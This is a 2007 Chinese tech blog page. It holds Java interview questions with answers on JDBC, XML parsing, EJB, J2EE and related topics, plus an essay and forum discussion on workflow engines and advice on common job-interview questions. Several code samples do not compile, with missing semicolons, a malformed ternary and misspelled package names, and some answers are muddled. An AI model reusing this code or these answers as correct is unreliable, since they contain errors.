catch (Exception e)
{
e.printStackTrace();
}
}
public static void main(String[] args)
{
ResultSet rs;
jdbc conn = new jdbc();
rs=conn.executeQuery("select * from test");
try{
while (rs.next())
{
System.out.println(rs.getString("id"));
System.out.println(rs.getString("name"));
}
}catch(Exception e)
{
e.printStackTrace();
}
}
}

2、Class.forName的作用?为什么要用?
答:调用该访问返回一个以字符串指定类名的类的对象。

3、Jdo是什么?
答:JDO是Java对象持久化的新的规范,为java data object的简称,也是一个用于存取某种数据仓库中的对象的标准化API。JDO提供了透明的对象存储,因此对开发人员来说,存储数据对象完全不需要额外的代码(如JDBC API的使用)。这些繁琐的例行工作已经转移到JDO产品提供商身上,使开发人员解脱出来,从而集中时间和精力在业务逻辑上。另外,JDO很灵活,因为它可以在任何数据底层上运行。JDBC只是面向关系数据库(RDBMS)JDO更通用,提供到任何数据底层的存储功能,比如关系数据库、文件、XML以及对象数据库(ODBMS)等等,使得应用可移植性更强。

4、在ORACLE大数据量下的分页解决方法。一般用截取ID方法,还有是三层嵌套方法。
答:一种分页方法
<%
int i=1;
int numPages=14;
String pages = request.getParameter("page") ;
int currentPage = 1;
currentPage=(pages==null)?(1):{Integer.parseInt(pages)}
sql = "select count(*) from tables"
ResultSet rs = DBLink.executeQuery(sql) ;
while(rs.next()) i = rs.getInt(1) ;
int intPageCount=1;
intPageCount=(i%numPages==0)?(i/numPages):(i/numPages+1);
int nextPage ;
int upPage;
nextPage = currentPage+1;
if (nextPage>=intPageCount) nextPage=intPageCount;
upPage = currentPage-1;
if (upPage<=1) upPage=1;
rs.close();
sql="select * from tables"
rs=DBLink.executeQuery(sql);
i=0;
while((i<numPages*(currentPage-1))&&rs.next()){i++;}
%>
//输出内容
//输出翻页连接
合计:<%=currentPage%>/<%=intPageCount%><a href="List.jsp?page=1">第一页</a><a

href="List.jsp?page=<%=upPage%>">上一页</a>
<%
for(int j=1;j<=intPageCount;j++){
if(currentPage!=j){
%>
<a href="list.jsp?page=<%=j%>">[<%=j%>]</a>
<%
}else{
out.println(j);
}
}
%>
<a href="List.jsp?page=<%=nextPage%>">下一页</a><a href="List.jsp?page=<%=intPageCount%>">最后页

</a>

Xml方面

1、xml有哪些解析技术?区别是什么?
答:有DOM,SAX,STAX等
DOM:处理大型文件时其性能下降的非常厉害。这个问题是由DOM的树结构所造成的,这种结构占用的内存较多,而且DOM必须在解析文件之前把整个文档装入内存,适合对XML的随机访问SAX:不现于DOM,SAX是事件驱动型的XML解析方式。它顺序读取XML文件,不需要一次全部装载整个文件。当遇到像文件开头,文档结束,或者标签开头与标签结束时,它会触发一个事件,用户通过在其回调事件中写入处理代码来处理XML文件,适合对XML的顺序访问
STAX:Streaming API for XML (StAX)

2、你在项目中用到了xml技术的哪些方面?如何实现的?
答:用到了数据存贮,信息配置两方面。在做数据交换平台时,将不能数据源的数据组装成XML文件,然后将XML文件压缩打包加密后通过网络传送给接收者,接收解密与解压缩后再同XML文件中还原相关信息进行处理。在做软件配置时,利用XML可以很方便的进行,软件的各种配置参数都存贮在XML文件中。

3、用jdom解析xml文件时如何解决中文问题?如何解析?
答:看如下代码,用编码方式加以解决
package test;
import java.io.*;
public class DOMTest
{
private String inFile = "c:\\people.xml"
private String outFile = "c:\\people.xml"
public static void main(String args[])
{
new DOMTest();
}
public DOMTest()
{
try
{
javax.xml.parsers.DocumentBuilder builder =

javax.xml.parsers.DocumentBuilderFactory.newInstance().newDocumentBuilder();
org.w3c.dom.Document doc = builder.newDocument();
org.w3c.dom.Element root = doc.createElement("老师");
org.w3c.dom.Element wang = doc.createElement("王");
org.w3c.dom.Element liu = doc.createElement("刘");
wang.appendChild(doc.createTextNode("我是王老师"));
root.appendChild(wang);
doc.appendChild(root);
javax.xml.transform.Transformer transformer =
javax.xml.transform.TransformerFactory.newInstance().newTransformer();
transformer.setOutputProperty(javax.xml.transform.OutputKeys.ENCODING, "gb2312");
transformer.setOutputProperty(javax.xml.transform.OutputKeys.INDENT, "yes");

transformer.transform(new javax.xml.transform.dom.DOMSource(doc),
new

javax.xml.transform.stream.StreamResult(outFile));
}
catch (Exception e)
{
System.out.println (e.getMessage());
}
}
}

4、编程用JAVA解析XML的方式.
答:用SAX方式解析XML,XML文件如下:
<?xml version="1.0" encoding="gb2312"?>
<person>
<name>王小明</name>
<college>信息学院</college>
<telephone>6258113</telephone>
<notes>男,1955年生,博士,95年调入海南大学</notes>
</person>
事件回调类SAXHandler.java
import java.io.*;
import java.util.Hashtable;
import org.xml.sax.*;
public class SAXHandler extends HandlerBase
{
private Hashtable table = new Hashtable();
private String currentElement = null;
private String currentValue = null;
public void setTable(Hashtable table)
{
this.table = table;
}
public Hashtable getTable()
{
return table;
}
public void startElement(String tag, AttributeList attrs)
throws SAXException
{
currentElement = tag;
}
public void characters(char[] ch, int start, int length)
throws SAXException
{
currentValue = new String(ch, start, length);
}
public void endElement(String name) throws SAXException
{
if (currentElement.equals(name))
table.put(currentElement, currentValue);
}
}
JSP内容显示源码,SaxXml.jsp:
<HTML>
<HEAD>
<TITLE>剖析XML文件people.xml</TITLE>
</HEAD>
<BODY>
<%@ page errorPage="ErrPage.jsp"
contentType="text/html;charset=GB2312" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Hashtable" %>
<%@ page import="org.w3c.dom.*" %>
<%@ page import="org.xml.sax.*" %>
<%@ page import="javax.xml.parsers.SAXParserFactory" %>
<%@ page import="javax.xml.parsers.SAXParser" %>
<%@ page import="SAXHandler" %>
<%
File file = new File("c:\\people.xml");
FileReader reader = new FileReader(file);
Parser parser;
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser sp = spf.newSAXParser();
SAXHandler handler = new SAXHandler();
sp.parse(new InputSource(reader), handler);
Hashtable hashTable = handler.getTable();
out.println("<TABLE BORDER=2><CAPTION>教师信息表</CAPTION>");
out.println("<TR><TD>姓名</TD>" + "<TD>" +
(String)hashTable.get(new String("name")) + "</TD></TR>");
out.println("<TR><TD>学院</TD>" + "<TD>" +
(String)hashTable.get(new String("college"))+"</TD></TR>");
out.println("<TR><TD>电话</TD>" + "<TD>" +
(String)hashTable.get(new String("telephone")) + "</TD></TR>");
out.println("<TR><TD>备注</TD>" + "<TD>" +
(String)hashTable.get(new String("notes")) + "</TD></TR>");
out.println("</TABLE>");
%>
</BODY>
</HTML>

EJB方面

1、EJB2.0有哪些内容?分别用在什么场合? EJB2.0和EJB1.1的区别?
答:规范内容包括Bean提供者,应用程序装配者,EJB容器,EJB配置工具,EJB服务提供者,系统管理员。这里面,EJB容器是EJB之所以能够运行的核心。EJB容器管理着EJB的创建,撤消,激活,去活,与数据库的连接等等重要的核心工作。JSP,Servlet,EJB,JNDI,JDBC,JMS.....

2、EJB与JAVA BEAN的区别?
答:Java Bean 是可复用的组件,对Java Bean并没有严格的规范,理论上讲,任何一个Java类都可以是一个Bean。但通常情况下,由于Java Bean是被容器所创建(如Tomcat)的,所以Java Bean应具有一个无参的构造器,另外,通常Java Bean还要实现Serializable接口用于实现Bean的持久性。Java Bean实际上相当于微软COM模型中的本地进程内COM组件,它是不能被跨进程访问的。Enterprise Java Bean 相当于DCOM,即分布式组件。它是基于Java的远程方法调用(RMI)技术的,所以EJB可以被远程访问(跨进程、跨计算机)。但EJB必须被布署在诸如Webspere、WebLogic这样的容器中,EJB客户从不直接访问真正的EJB组件,而是通过其容器访问。EJB容器是EJB组件的代理,EJB组件由容器所创建和管理。客户通过容器来访问真正的EJB组件。

3、EJB的基本架构
答:一个EJB包括三个部分:
Remote Interface 接口的代码
package Beans;
import javax.ejb.EJBObject;
import java.rmi.RemoteException;
public interface Add extends EJBObject
{
//some method declare
}
Home Interface 接口的代码
package Beans;
import java.rmi.RemoteException;
import jaax.ejb.CreateException;
import javax.ejb.EJBHome;
public interface AddHome extends EJBHome
{
//some method declare
}
EJB类的代码
package Beans;
import java.rmi.RemoteException;
import javax.ejb.SessionBean;
import javx.ejb.SessionContext;
public class AddBean Implements SessionBean
{
//some method declare
}

J2EE,MVC方面

1、MVC的各个部分都有那些技术来实现?如何实现?
答:MVC是Model-View-Controller的简写。"Model" 代表的是应用的业务逻辑(通过JavaBean,EJB组件实现), "View" 是应用的表示面(由JSP页面产生),"Controller" 是提供应用的处理过程控制(一般是一个Servlet),通过这种设计模型把应用逻辑,处理过程和显示逻辑分成不同的组件实现。这些组件可以进行交互和重用。

2、应用服务器与WEB SERVER的区别?
希望大家补上,谢谢

3、J2EE是什么?
答:Je22是Sun公司提出的多层(multi-diered),分布式(distributed),基于组件(component-base)的企业级应用模型(enterpriese application model).在这样的一个应用系统中,可按照功能划分为不同的组件,这些组件又可在不同计算机上,并且处于相应的层次(tier)中。所属层次包括客户层(clietn tier)组件,web层和组件,Business层和组件,企业信息系统(EIS)层。

4、WEB SERVICE名词解释。JSWDL开发包的介绍。JAXP、JAXM的解释。SOAP、UDDI,WSDL解释。
答:Web Service描述语言WSDL
SOAP即简单对象访问协议(Simple Object Access Protocol),它是用于交换XML编码信息的轻量级协议。
UDDI 的目的是为电子商务建立标准;UDDI是一套基于Web的、分布式的、为Web Service提供的、信息注册中心的实现标准规范,同时也包含一组使企业能将自身提供的Web Service注册,以使别的企业能够发现的访问协议的实现标准。

5、BS与CS的联系与区别。
希望大家补上,谢谢

6、STRUTS的应用(如STRUTS架构)
答:Struts是采用Java Servlet/JavaServer Pages技术,开发Web应用程序的开放源码的framework。 采用Struts能开发出基于MVC(Model-View-Controller)设计模式的应用构架。 Struts有如下的主要功能:
一.包含一个controller servlet,能将用户的请求发送到相应的Action对象。
二.JSP自由tag库,并且在controller servlet中提供关联支持,帮助开发员创建交互式表单应用。
三.提供了一系列实用对象:XML处理、通过Java reflection APIs自动处理JavaBeans属性、国际化的提示和消息。

设计模式方面

1、开发中都用到了那些设计模式?用在什么场合?
答:每个模式都描述了一个在我们的环境中不断出现的问题,然后描述了该问题的解决方案的核心。通过这种方式,你可以无数次地使用那些已有的解决方案,无需在重复相同的工作。主要用到了MVC的设计模式。用来开发JSP/Servlet或者J2EE的相关应用。简单工厂模式等。

2、UML方面
答:标准建模语言UML。用例图,静态图(包括类图、对象图和包图),行为图,交互图(顺序图,合作图),实现图,

JavaScript方面

1、如何校验数字型?
var re=/^\d{1,8}$|\.\d{1,2}$/;
var str=document.form1.all(i).value;
var r=str.match(re);
if (r==null)
{
sign=-4;
break;
}
else{
document.form1.all(i).value=parseFloat(str);
}

CORBA方面

1、CORBA是什么?用途是什么?
答:CORBA 标准是公共对象请求代理结构(Common Object Request Broker Architecture),由对象管理组织 (Object Management Group,缩写为 OMG)标准化。它的组成是接口定义语言(IDL), 语言绑定(binding:也译为联编)和允许应用程序间互操作的协议。 其目的为:
用不同的程序设计语言书写
在不同的进程中运行
为不同的操作系统开发

LINUX方面

1、LINUX下线程,GDI类的解释。
答:LINUX实现的就是基于核心轻量级进程的"一对一"线程模型,一个线程实体对应一个核心轻量级进程,而线程之间的管理在核外函数库中实现。
GDI类为图像设备编程接口类库。

posted @ 2007-03-28 15:12 牛宝雷 阅读(727) | 评论 (0) | 编辑 收藏
 
相关工作流-什么是工作流引擎(Workflow Engine )

所谓工作流引擎是指workflow作为应用系统的一部分,并为之提供对各应用系统有决定作用的根据角色、分工和条件的不同决定信息传递路由、内容等级等核心解决方案。例如开发一个系统最关键的部分不是系统的界面,也不是和数据库之间的信息交换,而是如何根据业务逻辑开发出符合实际需要的程序逻辑并确保其稳定性、易维护性(模块化和结构化)和弹性(容易根据实际业务逻辑的变化作出程序上的变动,例如决策权的改变、组织结构的变动和由于业务方向的变化产生的全新业务逻辑等等)。 Workflow 引擎解决的就是这个问题:如果应用程序缺乏强大的逻辑层,势必变得容易出错(信息的路由错误、死循环等等)。

就好比一辆汽车,外表做得再漂亮,如果发动机有问题就只是一个摆设。应用系统的弹性就好比引擎转速方面的性能,加速到100 公里需要1 个小时(业务流程发生变动需要进行半年的程序修改)还能叫好车吗?引擎动不动就熄火(程序因为逻辑的问题陷入死循环)的车还敢开吗?

工作流解决方案与传统管理软件的关系传统的管理软件注重解决企业应用层现存的问题(例如提高企业的资源配置率或提高单一员工的生产效率)。例如:EXCEL 可以提高员工画表格的效率、财务软件可以规范财务人员的工作并提高帐目查询的效率、CRM 可以规范客户管理从而使客户资源掌握在公司手中而不是被一部分业务人员把持并提高客户响应时间、ERP 解决的是如何配置企业资源:使企业的人力资源、财力资源和物资资源能够根据业务的需求实现最大化配置。 workflow 关注的是如何缩短流程闲置时间,从而提高企业的业务处理能力并使企业能够关注于真正对企业有意义的增值业务上。从建立企业神经系统的角度也许更能理解两者的区别。传统软件不能解决工作流的问题,例如ERP 关注的是企业的资源配置,但不可能解决资源传输过程中的损耗和降低传输(流程)的成本;同样workflow也不能完全解决传统管理软件所能解决的问题,例如对生产管理的MRP 系统所能解决的生产过程控制通过workflow很难实现。但一个好的传统软件如果希望能自动化地在整个企业中应用起来,必须有一个强大的逻辑层,用以解决信息传递的逻辑判断和自动流转,这个时候就需要workflow的平台。所以说: 1.workflow 和传统管理软件不是同一种软件,不具可比性; 2.workflow 对于已经有传统管理软件的企业的作用非常明显,可以籍此平台整合企业的各种应用系统,使之成为一个完整的企业级应用,也就是通常所说的EAI. 3. 具备workflow功能的管理软件(workflow与传统管理软件的结合)对于传统管理软件有绝对的优势;4.workflow可以根据企业的需要开发解决信息传递问题的流程以及帮助企业开发与现有应用系统的接口

工作流自动化并不复杂因为下述几个原因,工作流自动化业界有" 适合处理复杂业务流程" 的名声。

1.常规工作流自动化软件包及其部署相当昂贵。通常,伴随产品的是长时期的咨询关系。所以为了非常简单的业务流程购买和部署软件是被不被采纳的。这些软件通常只被用于复杂、关键和控制成本相对较高而工作流自动化带来的效益明显的量产型工作流应用。因此经销商和用户都会不自觉地关注于将复杂的业务问题自动化。 2. 处于类似原因,工作流研究人士首先会关注解决了哪些复杂的业务流程问题。

而对于大多数案例而言,为解决简单工作流程问题部署自动化软件的成本显然是不经济的。这里遵循一条简单的道理:走之前必须先会爬,跑之前必须先会走。 3. 最后一条原因,也是"IT 业的尴尬".总经理对IT部门经理工作衡量的标准就是:能够解决复杂问题的能力。自然,IT经理就会不遗余力地解决那些复杂的问题,他们的方案通常也就复杂而且昂贵。

所有这些目前都在改变。针对桌面电脑的应用方案快速发展以及工作流解决方案的发展使解决日常工作流程问题成为可能。费用不再昂贵,部署更为简便。事实上,企业越来越意识到工作流的重要性,同时在部署复杂关键的流程自动化之前,愿意从一些简单的流程入手积累经验。

工作流会成为操作系统的一部分吗?

有人认为工作流会成为操作系统平台(例如WINDOWS 平台)的一部分。我们的观点是,基于下述几个原因,在可预见的未来,工作流不会成为操作系统的一部分: 1. 扩展表格、文字处理程序和数据库存在了20多年,成了家喻户晓的名词。这些技术被广泛理解和应用,也相应形成了各自的标准和相关术语。然而因为很多原因,直到今天这些技术也没有成为操作系统的一部分。最重要的原因之一是用户需要差异和选择的自由。相比较而言,工作流自动化软件是较新的技术,也更有差异性、不易被广泛理解并且比这些技术更为先进。因为工作流程的差异性和复杂性,工作流自动化的用户需要更多的选择空间。

2.财务软件包从电脑发明后就迅速普及了。这是实施、术语和规则被普遍接受的另一个领域。然而至今也没有哪种操作系统吹嘘集成了多少财务软件的功能。而工作流自动化软件比财务软件更为复杂和有差异性。 3. 操作系统提供商,例如微软和Sun ,不会为了使其系统具备工作流自动化的功能而大量改变他们现有的系统。他们有什么必要为工作流自动化软件投入开发和支持的成本呢? 4. 操作系统是为常规条件设计并使之最优化。正因如此,目前操作系统的开发成本几乎都要上亿美元。业务流程十分复杂并充满了例外情况,如在操作系统中内嵌工作流自动化程序会极大地增加开发成本和难度。因此,即便操作系统提供商决定做工作流软件,也会是巨额投入开发一套新的操作系统,而不是将工作流嵌入。

事实上,今天的很多优秀的工作流解决方案集成了短信息、页面服务、目标管理、文件管理和其他一些操作系统才提供的服务。

工作流自动化的主要成分工作流自动化如今成了管理的一句时髦话。市面上也有很多号称能激活工作流的自动化产品。只要他们的应用程序支持基本的E-mail功能,卖主就会随意地把" 激活工作流" 作为标签贴在产品上。然而,这类产品和真正工作流自动化软件之间的差别就如同写字版和Word之间的差别。我们相信,应用程序只有具备了下列主要特征,才能称其为工作流自动化解决方案:

能够画出工作流程图,当然以图形化界面设计的为佳;能为每个步骤设计电子表格;能将外部应用程序结合为工作流自动化的一部分;能与电子表格及企业数据库相连接;能设计基于复杂业务规则的条件型路由的工作流程图,最好无须编程;能根据功能、用户名称或上下级关系按规则传递信息;能够监控工作流执行状况;能够对工作流进行调节;能够模拟并测试工作流的行为;工作流的应用必须支持多用户并具高度可靠性;工作流的应用必须支持内部网或英特网及跨多种平台。

网友讨论工作流应该是一个中间件而不应该是一个完整的系统。工作流应该整合到其他系统中而不是单独使用。

工作流要完成的核心功能有流程设计,流程执行,流程和线程的调度,任务的分派与通知,集成已有信息系统(很多人忘了)。

工作流应该提供对组织机构,用户,权限管理,流程,任务的管理能力,但是对这些管理能力最基本实现方式是提供API ,而不是一个管理系统,即使把这些管理作为一个管理系统来实现(A ),也主要是用于演示,因为当工作流用于其它系统(B ),因为B 需要一个统一的管理界面,所以通常不会直接使用A.而表单设计,报表之类根本就是外围功能,是二次开发商的任务。

我基本赞同wangtaoyy 的说法,再补充一点。我觉得工作流与其说是中间件,还不如说是一个应用整合和集成的框架。类似在j2ee规范下各产商开发的应用服务器,工作流也应当是在wfmc标准下开发出来的" 容器" ,只要是满足了标准的应用程序或组件都能够在这个" 容器" 中按照预定的规则被调度和执行。我认为理想情况下工作流系统不应该提供API 作二次开发,工作流的内部对基于工作流的应用程序应当是完全不透明的,工作流应当提供给开发者的是一个类似于J2EE那样的标准,一套编程模型和接口模型。开发者在这个模型下去实现那些接口,开发出应用组件,再利用工作流提供的管理器进行" 注册".总而言之,对开发者而言,工作流是黑箱,他需要做的事情是开发标准组件,在工作流提供的UI管理工具中配置业务流程,包括业务过程、资源、权限、时间、规则等等。

1. j2ee 应用服务器也是中间件的一种。
2. 工作流要做成j2ee哪样的标准还是比较困难的, j2ee 重点在于提供开发全新系统的能力,所以可以制定比较好的容器- 组件标准,而工作流的重点是整合已经存在的系统,要在这些各式各样的老系统上强加标准是不现实的。
3.工作流应该提供api ,因为其他系统中的一些事件可能会启动一个流程,或者触发其他与流程相关的东西

工作流分为两种类型,一种是嵌入式的,另一种是非嵌入式的。这在WFMC的文档中已经有所介绍,大家可以找找看一下。按照工作流管理联盟的文档,大家说的都没有什么错误,只是侧重点不同。wangtaoyy 的观点倾向于前者,而coffeewoo 的观点倾向于后者。

我的看法并不是趋向于嵌入式工作流。我理解的工作流提供的api 并不是一般软件包的API ,而是一种服务方式的API ,类似于操作系统中的系统调用。

我们在软件中大量使用了操作系统提供的系统调用API ,但是操作系统并不是嵌入到我们软件系统中的。我认为工作流系统与操作系统有很强的可比性,只是工作流层次更高。比如流程设计相当于编程,模型相当于程序,流程实例相当于进程,流程分支相当于线程,操作系统要对进程和线程进行调度,工作流引擎要对流程实例和分支进行调度,操作系统和工作流系统都应该对内存进行管理避免耗尽系统内存,操作系统提供系统调用API 而工作流引擎提供工作流API.何其相似。

从功能的角度看:工作流系统的本职工作就是管理和控制业务流程,例如:流程实例的启动、停止;环节实例的启动、结束;任务的分配等等。从工作流系统的组成看:工作流系统应该包括流程引擎、流程定义工具、运行管理工具、api 系统。工作流系统应该该不包括表单定义、组织机构定义及其管理、权限管理、数据流管理等等。

工作流系统虽然不包括上述功能,但是工作流系统一定会和上述功能发生交互关系,所以好的工作流产品并不是一个包办上述功能的产品,而是一个设计良好的能够和上述功能交互的系统。从和其他系统的关系看待工作流:如果站在基础业务平台的角度,那么,工作流系统、组织机构管理系统、表单自定义系统、权限管理系统、数据流管理系统、报表系统都是这个基础业务平台的服务。业务功能系统在运行的过程中会调用这些服务,这些服务之间本身也可能互相调用。例如:工作流服务和组织机构管理服务之间的关系就非常密切,尽管如此,如果认为工作流系统一定包含组织机构管理系统应该是不正确的。在oa系统中,表单自定义好像比较重要,而且流程常常需要引用表单上的数据,但是表单自定义绝对不是工作流系统的组成部分。流程在运行的过程中可能跨多个数据库系统,任务在流转的过程中需要“携带”大量的业务数据,但是这些也不是工作流要做的事情,完成这些工作的系统我称之为“数据流管理系统”。总之:从功能的角度,所有的功能都是必要的,但是从技术的角度,这些功能不可以做到一个“铁板一块”的所谓的“工作流”里面去。从技术发展的趋势看:工作流系统很可能发展成为一个类似关系型数据库管理系统的专职的系统。我那个工作流东东还在改进中,希望作出一个设计合理的(决对不是强行coding出来的),工程实用的东西出来。

posted @ 2007-03-26 10:57 牛宝雷 阅读(1311) | 评论 (3) | 编辑 收藏
 
据说这是外企面试官最爱提的10个问题(附答案)
既然是BLOG嘛,我想杂一些,多些生活和工作也就无所谓了。做为一个技术BLOG,我还是想找个空间,记录一下别的东西,让我有感触和感兴趣的东西。不是为了给网上的朋友们看,而是做为一个收藏吧。
下面是这10个问题的详细信息:
         1.请介绍一下你自己。

  这是外企常问的问题。一般人回答这个问题过于平常,只说姓名、年龄、爱好、工作经验,这些在简历上都有,其实,外企最希望知道的是求职者能否胜任工作,包括:最强的技能、最深入研究的知识领域、个性中最积极的部分、做过的最成功的事,主要的成就等,这些都可以和学习无关,也可以和学习有关,但要突出积极的个性和做事的能力,说得合情合理外企才会相信。外企很重视一个人的礼貌,求职者要尊重考官,在回答每个问题之后都说一句“谢谢”。外企喜欢有礼貌的求职者。

  2.在学校你最不喜欢的课程是什么?为什么?

  这个问题外企不希望求职者直接回答“数学”、“体育”之类的具体课程,如果直接回答还说明了理由,不仅代表求职者对这个学科不感兴趣,可能还代表将来也会对要完成的某些工作没有兴趣。这个问题外企招聘者最想从求职者口里听到:我可能对个别科目不是特别感兴趣,但是正因为这样,我会花更多的时间去学习这门课程,通过学习对原本不感兴趣的科目也开始有了兴趣,对于本来就有兴趣的科目我自然学习得更认真,所以各门课的成绩较为平衡。通过这样的问题,外企可以找到对任何事情都很感兴趣的求职者。

  3.说说你最大的优缺点?

  这个问题外企问的概率很大,通常不希望听到直接回答的缺点是什么等,如果求职者说自己小心眼、爱忌妒人、非常懒、脾气大、工作效率低,外企肯定不会录用你。外企喜欢求职者从自己的优点说起,中间加一些小缺点,最后再把问题转回到优点上,突出优点的部分。外企喜欢聪明的求职者。

  4.你认为你在学校属于好学生吗?

  外企的招聘者很精明,问这个问题可以试探出很多问题:如果求职者学习成绩好,就会说:“是的,我的成绩很好,所有的成绩都很优异。当然,判断一个学生是不是好学生有很多标准,在学校期间我认为成绩是重要的,其他方面包括思想道德、实践经验、团队精神、沟通能力也都是很重要的,我在这些方面也做得很好,应该说我是一个全面发展的学生。”如果求职者成绩不尽理想,便会说:“我认为是不是一个好学生的标准是多元化的,我的学习成绩还可以,在其他方面我的表现也很突出,比如我去很多地方实习过,我很喜欢在快节奏和压力下工作,我在学生会组织过××活动,锻炼了我的团队合作精神和组织能力。” 有经验的招聘者一听就会明白,外企喜欢诚实的求职者。

  5.说说你的家庭。

  外企面试时询问家庭问题不是非要知道求职者家庭的情况,探究隐私,外企不喜欢探究个人隐私,而是要了解家庭背景对求职者的塑造和影响。外企希望听到的重点也在于家庭对求职者的积极影响。外企最喜欢听到的是:我很爱我的家庭!我的家庭一向很和睦,虽然我的父亲和母亲都是普通人,但是从小,我就看到我父亲起早贪黑,每天工作特别勤劳,他的行动无形中培养了我认真负责的态度和勤劳的精神。我母亲为人善良,对人热情,特别乐于助人,所以在单位人缘很好,她的一言一行也一直在教导我做人的道理。外企相信,和睦的家庭关系对一个人的成长有潜移默化的影响。

  6.说说你对行业、技术发展趋势的看法?

  外企对这个问题很感兴趣,只有有备而来的求职者能够过关。求职者可以直接在网上查找对你所申请的行业部门的信息,只有深入了解才能产生独特的见解。外企认为最聪明的求职者是对所面试的公司预先了解很多,包括公司各个部门,发展情况,在面试回答问题的时候可以提到所了解的情况,外企欢迎进入企业的人是“知己”,而不是“盲人”。

  7.就你申请的这个职位,你认为你还欠缺什么?

  外企喜欢问求职者弱点,但精明的求职者一般不直接回答。他们希望看到这样的求职者:继续重复自己的优势,然后说:“对于这个职位和我的能力来说,我相信自己是可以胜任的,只是缺乏经验,这个问题我想我可以进入公司以后以最短的时间来解决,我的学习能力很强,我相信可以很快融入公司的企业文化,进入工作状态。”外企喜欢能够巧妙地躲过难题的求职者。

  8.你期望的工资是多少?

  外企的工资水平是很灵活的,何种能力拿何种工资。外企喜欢直率的人,但这个问题却不能正面回答,外企希望听到:“以我的能力和我的优势,我完全可以胜任这个职位,我相信我可以做得很好。但是贵公司对这个职位的描述不是很具体,我想还可以延后再讨论”。外企欢迎求职者给其定薪的自由度,而不是咬准一个价码。

  9.你能给公司带来什么?

  外企很想知道未来的员工能为企业做什么,求职者应再次重复自己的优势,然后说:“就我的能力,我可以做一个优秀的员工在组织中发挥能力,给组织带来高效率和更多的收益”。外企喜欢求职者就申请的职位表明自己的能力,比如申请营销之类的职位,可以说:“我可以开发大量的新客户,同时,对老客户做更全面周到的服务,开发老客户的新需求和消费。”等等。

  10.你还有什么问题吗?

  外企的这个问题看上去可有可无,其实很关键,外企不喜欢说“没有问题”的人,因为其很注重员工的个性和创新能力。外企不喜欢求职者问个人福利之类的问题,如果有人这样问:贵公司对新入公司的员工有没有什么培训项目,我可以参加吗?或者说贵公司的晋升机制是什么样的?外企将很欢迎,因为体现出你对学习的热情和对公司的忠诚度以及你的上进心。
posted @ 2007-03-15 10:50 牛宝雷 阅读(358) | 评论 (1) | 编辑 收藏
 
 
<2007年3月>
日一二三四五六
25262728123
45678910
11121314151617
18192021222324
25262728293031
1234567

 导航

  • BlogJava
  • 首页
  • 发新随笔
  • 发新文章
  • 联系
  • 聚合
  • 管理

 统计

  • 随笔: 30
  • 文章: 6
  • 评论: 50
  • 引用: 0

常用链接

  • 我的随笔
  • 我的评论
  • 我的参与
  • 最新评论

留言簿(4)

  • 给我留言
  • 查看公开留言
  • 查看私人留言

随笔档案

  • 2008年2月 (1)
  • 2007年12月 (1)
  • 2007年11月 (1)
  • 2007年9月 (3)
  • 2007年7月 (2)
  • 2007年6月 (3)
  • 2007年5月 (8)
  • 2007年4月 (7)
  • 2007年3月 (4)

文章档案

  • 2007年7月 (1)
  • 2007年3月 (5)

搜索

  •  

最新评论

  • 1. re: spring AOP的事务管理[未登录]
  • dsasd
  • --dd
  • 2. re: Eclipse 中CheckStyle安装和使用指南
  • 07年的中企员工啊,前辈~
  • --xiao瓶盖1121
  • 3. re: tomcat 和 jboss的热部署(热发布)问题
  • @songguanjun
    确实不可用
  • --lin
  • 4. re: java.lang.String中,match()的用法,即String.match(String pattern)[未登录]
  • 评论内容较长,点击标题查看
  • --匿名
  • 5. re: Eclipse 中CheckStyle安装和使用指南
  • 我们可以利用CheckStyle可以方便的对于编码的Code Conventions进行检查,同时,也有效地减少了Code Review的工作,使得开发人员的精力更多的集中到逻辑和性能检查。
  • --gucci outlet

阅读排行榜

  • 1. java.lang.String中,match()的用法,即String.match(String pattern)(27582)
  • 2. JAVA 处理时间 - java.sql.Date、java.util.Date与数据库中的Date字段的转换方法[转](20535)
  • 3. Eclipse 中CheckStyle安装和使用指南(8564)
  • 4. java jxl导出excel文件(8526)
  • 5. 存储过程生成临时表用从临时表中取数据(5353)

评论排行榜

  • 1. hibernate自定义生成主健(8)
  • 2. java.lang.String中,match()的用法,即String.match(String pattern)(7)
  • 3. 存储过程生成临时表用从临时表中取数据(4)
  • 4. [DWR(Ajax)]DWR使用笔记(4)
  • 5. eclipse的远程调试(jboss+tomcat),已成功(3)

Powered by: 博客园
模板提供:沪江博客
Copyright ©2025 牛宝雷